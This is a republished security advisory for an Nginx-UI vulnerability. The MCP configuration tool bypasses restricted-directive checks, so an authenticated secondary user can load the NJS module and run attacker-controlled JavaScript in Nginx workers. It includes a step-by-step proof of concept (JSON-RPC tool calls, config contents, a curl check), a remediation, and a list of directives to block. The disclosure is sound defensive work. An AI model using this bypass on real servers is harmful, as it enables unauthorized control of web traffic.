GHSA-5r62-gj48-897x: High severity go/github.com/0xJacky/Nginx-UI vulnerability

Published Oct 15, 2026
·
Updated

Summary

The regular HTTP configuration API rejects restricted Nginx directives such as loadmodule, jsimport, and jscontent.

However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load ngxhttpjsmodule.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.

This is authenticated and is not OS command execution by itself.

Affected component

- /mcp - /mcpmessage - MCP tool: nginxconfigadd - Nginx configuration validation

Impact

A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.

This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.

Minimal PoC

Preconditions

- Attacker has a secondary authenticated Nginx UI account. - MCP is enabled. - Nginx has NJS available:

bash find / -name "ngxhttpjsmodule.so" 2>/dev/null

Observed in the lab:

text /usr/lib/nginx/modules/ngxhttpjsmodule.so

1. HTTP API blocks the restricted config

Request:

http POST /api/configs Authorization: <SECONDARYUSERJWT> Content-Type: application/json

Body:

json { "name": "nginx.conf", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "loadmodule modules/ngxhttpjsmodule.so;\n\nuser nginx;\nworkerprocesses auto;\n\nevents { workerconnections 1024; }\n\nhttp {\n jsimport poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /poc { jscontent poc.handler; }\n }\n}\n" }

Observed result:

text Rejected because the content contains restricted directives such as loadmodule/jsimport/jscontent.

2. MCP writes the JavaScript file

Open an MCP session and call tools/call with:

json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "poc.js", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "function handler(r) { r.return(200, \"MCPNJSMARKER\\n\"); }\nexport default { handler };\n" } } }

3. MCP writes the NJS-enabled nginx.conf

Call tools/call again:

json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "nginx.conf", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "loadmodule modules/ngxhttpjsmodule.so;\n\nuser nginx;\nworkerprocesses auto;\n\nerrorlog /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { workerconnections 1024; }\n\nhttp {\n defaulttype application/octet-stream;\n jsimport poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /poc { jscontent poc.handler; }\n }\n}\n" } } }

4. Verify NJS execution

Inside the Nginx UI container:

bash curl -i http://127.0.0.1:18249/poc

Observed response:

http HTTP/1.1 200 OK

MCPNJSMARKER

This confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.

Expected behavior

MCP configuration tools should enforce the same restricted directive validation as the HTTP API.

Suggested fix

Apply ValidateConfigFile(path, content) before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:

- loadmodule - jsimport - jscontent - jsset - perlset - user root

Affected Software

1 affected componentFixes available
go/github.com/0xJacky/Nginx-UI<1.9.10-0.20260703131214-23d1934099b0
1.9.10-0.20260703131214-23d1934099b0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/0xJacky/Nginx-UI to a version that resolves this vulnerability.

    Fixed in 1.9.10-0.20260703131214-23d1934099b0
  2. Configuration

    Ensure MCP configuration tools invoke ValidateConfigFile(path, content) before configuration writes and share the same restricted-directive validation tests as the HTTP API, including validation for load_module, js_import, and js_content.

    MCP configuration interface configuration validation before MCP writes = Apply ValidateConfigFile(path, content) and reject restricted directives

Event History

Oct 15, 2026
Advisory Published
via GitHub·08:10 PM
Data Sourced
via GitHub·08:10 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this issue?

Exposure requires the MCP interface to be enabled and accessible to a secondary authenticated Nginx UI user. Exploitation also requires Nginx to have the NJS module available, such as ngx_http_js_module.so.

2

What level of access does an attacker need?

An attacker needs a secondary authenticated Nginx UI account. No user interaction is required after authentication.

3

What can an attacker do through the bypass?

The attacker can submit and apply restricted configuration content through MCP, load the NJS module, and run attacker-controlled JavaScript in the Nginx worker context. This can alter runtime behavior such as responses, routing, headers, redirects, and request handling.

4

Does this directly provide operating-system command execution?

No. The documented impact is execution of NJS in the Nginx worker context, and it is explicitly not OS command execution by itself.

5

Are the HTTP configuration API restrictions sufficient protection?

No. Although the regular HTTP configuration API rejects directives including load_module, js_import, and js_content, the MCP configuration interface can be used to write and apply equivalent restricted content.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203